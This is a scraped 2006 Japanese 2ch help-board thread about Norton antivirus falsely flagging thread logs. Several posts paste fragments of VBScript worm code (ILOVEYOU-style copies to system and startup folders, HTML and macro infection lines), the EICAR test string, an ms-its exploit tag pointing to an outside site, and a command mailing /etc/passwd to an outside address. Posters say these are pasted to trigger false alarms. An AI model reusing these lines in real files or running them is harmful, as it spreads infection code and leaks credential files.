c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))

582:ひよこ名無しさん
06/06/18 18:33:56

583:ひよこ名無しさん
06/06/20 00:04:58
時々スレを転々としてると、急に変な改行になるんですが（文と文の隙間が全部空いてしまう）
これってウイルスに侵されてるのでしょうか？

584:ひよこ名無しさん
06/06/20 01:18:31
　　　　　　　　　　　　　l'vﾍ
　　　　　　　　　ﾊ　┌( ;/ ﾄ,　,、 rﾍ　 r'^ﾅrジ-z
　　　 __}ヽ,__　(ヽ/ス_r^フしz,り　い)ｎ／ｲr～^′
　　　'っヾ､r'__ 　|ﾚ'ノ_C'入彳勺ｿメろ_ｊ／し-,_
　　　　｀フヾ勹_| <_r' !|刀_｣r''>||／⌒(_rﾍ-‐'
　　　　　＜_ゝし||ﾌぅ（ひzメ__ゝ'l !'そ
　　　　　　　 ~zヾ|て､l レ^ //'| |'~
　　　　　　　 | |　ヽl｜ //　}｜
　　　　　　　 | :!　｜|　| | ,/ ,'
　　　　　　　　　 | :{.　|｜ | |/ /　　すいません、ちょっと通りますよ・・・
　　　　　　　　 l　!｜|　| | /
　　　　　　　　　　ヽヽ.|/ //
　　　　　　　　　　_,r)_ j (_,(　　　　　　　　　　　ciz
　　　　　　　　　,ﾉこ_-　__,ｰヽ　　　　　　　　ん|Zゥﾚz　ｚjそ_
　　　　　　　　 }　　　　... 　丿　　　　　ろ､,_!|乙7ﾑLそ/し-z
　　　　　　　　ﾉ""''　　一（　　　　　　｀う.l !シ/ア了//_⊂,
　　　　　　／､__　　　　　　ヽ　　　　　　 ^'| |~//,/_ソハr^
　　　　 /　　　 ...... 　　　ーl　　　　　　　 | |// /／ノ
　　　　　/~"'　､＿_／　　　,,,...}　　　　　　　|/ /／／　　　　　　 _Jv　,､ _,、
　　　　 {'　_　　`y′　一　　/　　　　　　 r'～(_ノ　　　　　 z'jく|!ぞぅﾝそ
　　　　人　　=/‐-　　　　ﾊ　　　　　　丿" 　''(　　　　　　ぅY||/ｿ'／｀′
　　　　　　ヽ '' /　　__,,　　/　　　　　　　/　‐-　 '''）　　　　　　| ﾚ'//
　　　　　　 '∨　　　　　X.　　　　　　　 }'''　　....ノ　　　　　　　　ﾉﾑxく
　　　　　　　j　　ー／　　　　　　　　/==　　ノ'ヽ　　　　　　　ｒご　ｰ（
　　　　　　　/=‐　 r'´-ヽ　　　　　　　}　　ｰ/'''' 　{　　　　　 ,ﾉ''　y'　...）
　　　　　　 ,'　_,,　人　''"｀、　　　　　ﾉ.. '' ノ`ヽ ''"ヽ　　　　 /　ｰ人.... （
　　　　　 {ー　/　　＼ -'}　　　　　/　／　　　＼'''}` 　　（'' ィ´ 　＼_ヽ
　　　　　　ﾊ　〈　　　）八　　　（　ｆ　　　　　　)ﾊ.　　　　）ﾉ　　　 _)ﾉ
　　　　　　　ヽ　）　　　（(　　　　　）ﾉ　　　　／　　　　ｰ'′

585:dirsystem&"\MSKernel32.vbs
06/06/20 01:55:47
>>568

586:あぼ～ん
06/06/20 01:56:38
>>568 >>585

587:ひよこ名無しさん
06/06/20 02:15:03
>>583
シリア語ブラクラ
これを使うといい。
URLﾘﾝｸ(www.geocities.jp)

588:ひよこ名無しさん
06/06/20 23:24:54
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

589:ひよこ名無しさん
06/06/21 12:18:24 nQsDrOZ+
このスレに貼ってあるソースは大丈夫なのですか？
例えば>>580-581とか、>>588とか…
このスレだと反応ないんですが、何か特別なのでしょうか？

590:ひよこ名無しさん
06/06/21 14:23:42 fhcCUte2
テスト

591:ひよこ名無しさん
06/06/21 20:24:45
>>589
心配しすぎだと思うんです（＞＜）
これが動いたら2chは大騒ぎになっちゃうと思うんです（＞＜）

592:ひよこ名無しさん。
06/06/21 23:50:37
NGワードあぼ～んすればおｋ

593:ひよこ名無しさん
06/06/22 20:26:16 l9A+tZtH
誘導されてきました

導入しているマカフィーでスキャンかけても何の反応もなかったんですが、
ノートンのオンラインスキャンやってみると
感染ファイルが二個みつかって
C:\Program Files\gikoNavi\Log\2ch\aasaloon\Folder.idx は　Bloodhound.Exploit.6 に感染しています。
C:\Program Files\gikoNavi\Log\2ch\aasaloon\subject.txt は　Bloodhound.Exploit.6 に感染しています。
と言う表示が出ました。
これは危険なんでしょうか。それともただのウィルスコード？

594:ひよこ名無しさん
06/06/22 20:27:57
>>593
ただのウィルスコード
これで消せる。
URLﾘﾝｸ(www.geocities.jp)

595:ひよこ名無しさん
06/06/22 20:28:13
>>593
ノートンがvbsウィルスのソースに誤反応３
ｽﾚﾘﾝｸ(pcqa板)

596:ひよこ名無しさん
06/06/22 20:28:47
>>594
cen乙

597:ひよこ名無しさん
06/06/22 20:30:04
>>594-596
レス早いなｗ

598:ひよこ名無しさん
06/06/22 20:41:25
粘着してリロードしながら監視してるんだろ？www

599:ひよこ名無しさん
06/06/22 20:44:02 l9A+tZtH
>>594
ありがとうございます。
見分けるコツみたいなものはあるんですか？

600:ひよこ名無しさん
06/06/22 22:08:53
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

601:ひよこ名無しさん
06/06/23 00:17:41
ノートンがvbsウィルスのソースに誤反応３
ｽﾚﾘﾝｸ(pcqa板)

テンプレにでも入れるか・・・？
脳豚使うなら自力で何とかしろよ・・・

602:ひよこ名無しさん
06/06/23 00:18:16
誤爆

603:ひよこ名無しさん
06/06/23 18:23:08
＿＿＿ゲームキャラ板でもﾓﾆｶﾜｲｲモニカ様＿＿＿
ｽﾚﾘﾝｸ(gamechara板)

このスレを開くと閲覧できないどころか
一回再起動しないとgame10鯖に繋がらなくなる障害が出るんですが
ＮＧコードとかどう打って対処すればいいのですか？

604:ひよこ名無しさん
06/06/23 18:23:47 6hQn7KgH
使用２ｃｈブラウザは　Ｊａｎｅ　Ｄｏｅ　Ｓｔｙｌｅです。

605:ひよこ名無しさん
06/06/23 18:25:27
>>604
回答めんどいからこのスレ内検索して

606:ひよこ名無しさん
06/06/23 22:47:16
>>599
専用ブラウザでスレを取得した「だけ」で反応したら間違いなく誤反応なので心配無用。
スレに貼られたURLをクリックして反応したならウィルスの疑いあり。
てゆーか、やたらとクリックしちゃダメ。

607:ひよこ名無しさん
06/06/28 16:58:31
age

608:ひよこ名無しさん
06/06/29 15:09:12 C6iUe2mV
Your attention,Please. みなさまに申し上げます
fire drill 火災避難訓練

609:ひよこ名無しさん
06/06/29 19:41:48
age

610:ひよこ名無しさん
06/06/29 21:38:29
ｽﾚﾘﾝｸ(pcqa板:111-番)

111 名前：ひよこ名無しさん投稿日：2006/06/29(木) 21:33:23 ID:P5JFBD43
キャップもらってパスワードもらって、名前欄に書き込んでも、
○★　にならなくて○◆になってしまうんですが、どうしてでしょうか

113 名前：愛新覚羅 ◆WjkbiI..A2 投稿日：2006/06/29(木) 21:34:04 ID:???
>>111
ｳｲﾙｼかな

611:ひよこ名無しさん
06/06/30 22:56:15 2Lq/lYYu
テスト

612:ひよこ名無しさん
06/07/01 00:07:11 Dt6nkhA2
ｽﾚﾘﾝｸ(arc板:16番)

コレって書き込んだ本人がウイルスに感染しているって事でしょうか？

613:ひよこ名無しさん
06/07/01 00:08:55
>>612
ノートン先生を誤反応させるためにわざと貼ってるんだよ

614:612
06/07/01 00:39:41 Dt6nkhA2
ただ、これ書いた人がカードゲームのトレードスレに
自分のメルアド出してブログバレしてます

615:ひよこ名無しさん
06/07/01 23:18:07
複雑な自爆では？

616:ひよこ名無しさん
06/07/02 19:36:03 ytfN9V0/
ノートン２００６でAutoprotectの設定で、ログのフォルダを除外したいのですが、
それらしい項目が分かりません。
Norton　AntiVirusオプションの項目ではないのでしょうか？

617:ひよこ名無しさん
06/07/02 20:00:00 ytfN9V0/
事故解決しました。

618:ひよこ名無しさん
06/07/03 19:55:32 pfnK+d5L
専ブラ（Jane）での書き込みの妨害も先生の仕業？
更新かけて解決するのであれば（期限切れ）、
してやらんでもないのだが・・・。

619:ひよこ名無しさん
06/07/03 22:30:42
>>618
> 更新かけて解決するのであれば（期限切れ）、

それはないな。FW（が入っているのであれば）一時的に切ってみるしか

620:618
06/07/03 23:15:21 pfnK+d5L
>>619
いや、プラウザからなら書き込めるんですよ。
ノートン有効→一部の板の閲覧不可（IE、専ブラ共に）
　　　　無効→共に閲覧は可能　専ブラでの書き込みが不可。
ってわけでこの板だけは、IEからしか書き込めないんです・・・。
まぁ、通信を許可すれば解決なんでしょうが・・・。
いろいろやってみます。　どもでした。

621:ひよこ名無しさん
06/07/04 02:40:17
まったくの初心者ですが
ノートンインターネットセキュリティー2006での誤反応対策を教えてください
既出でしたらアンカーでもいいのでお願いします

622:ひよこ名無しさん
06/07/04 08:28:52
>>621
>>1->>620を読め

623:ひよこ名無しさん
06/07/04 10:11:31
「まったくの初心者」

だからどうした？このスレを100回読んで知識増やせ。

624:ひよこ名無しさん
06/07/04 20:16:10 Bwi55Fwo
スレを開いたら突然ウィルスに感染したんですがurlを直接踏まなくても
感染するウィルスはあるんですか？

625:ひよこ名無しさん
06/07/05 11:14:56
>>624
>>1->>620を読め

626:ひよこ名無しさん
06/07/05 17:10:28 xPsQC9iJ
　　　　　　 , ---　､_
　　　　／ミミミヾヾヽ､＿
　　　∠ヾヾヾヾヾヾjj┴彡ﾆヽ
　　/ ,　-ー‐'"´´´　　　ヾ.三ヽ
　 ,' /　　　　　　　　　　　　ヾ三ヽ
　 j |　　　　　　　　　　 / }ミ　i
　 | |　　　　　　　　　　 / /ミ　 !
　 } | r､　　　　　　　　　　l　ﾞiミ __」　
　　|]ﾑヽ､_　　　　__∠二､__,ｨ|/ ｨ }
　　| 　￣｀ﾐｌ==r'´　　　 /　|lぅ　lj　　私が原田ウィルス作者ですが何か？
　　「!ヽ､_×___j　ヽ､×　 -'　　ﾚ'r'/　　
　　 `! 　　 j　　ヽ　　　　 j_ノ　　　
　　　',　　ヽｧ_ '┘　　　　　,i　　　　
　　　ヽ　　___'...＿_　　 i 　ハ__ 　　　　　
　　　　ヽ　ﾞ二二　`　 ,' ／／八
　　　　　ヽ　　　　／'´ 　 /　ヽ
　　　　　　|ヽ､＿_,　'´ / 　／　　　＼

627:ひよこ名無しさん
06/07/07 03:17:23
>>577
遅ﾚｽだけど一応。
URLﾘﾝｸ(mickey.mirv.net)
↑みて最新のｱﾄﾞﾚｽ設定しる

628:ひよこ名無しさん
06/07/15 01:31:41 668g3rrq
こんなPCはネットにつなぐな！ 3日間放置した無防備PCの結末は？
URLﾘﾝｸ(arena.nikkeibp.co.jp)

以下すべて日本語対応で無料。

ブラウザ：Firefox URLﾘﾝｸ(www.mozilla-japan.org)
メーラー：Thunderbird URLﾘﾝｸ(www.mozilla-japan.org)
　上記2種の拡張（URLﾘﾝｸ(beau.g-com.ne.jp)）
スパイウェア対策：URLﾘﾝｸ(www.geocities.jp)
ウィルス対策：avast! URLﾘﾝｸ(www.forest.impress.co.jp)
適当なルーター：BUFFALO BBR-4HG　URLﾘﾝｸ(netspeed.studio-radish.com)

無料のウイルス対策ソフトなどのセキュリティソフト一覧
URLﾘﾝｸ(www.geocities.co.jp)
セキュリティ板
URLﾘﾝｸ(pc8.2ch.net)

629:ひよこ名無しさん
06/07/23 19:35:23 XNQAeCHC
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))　　

次ページ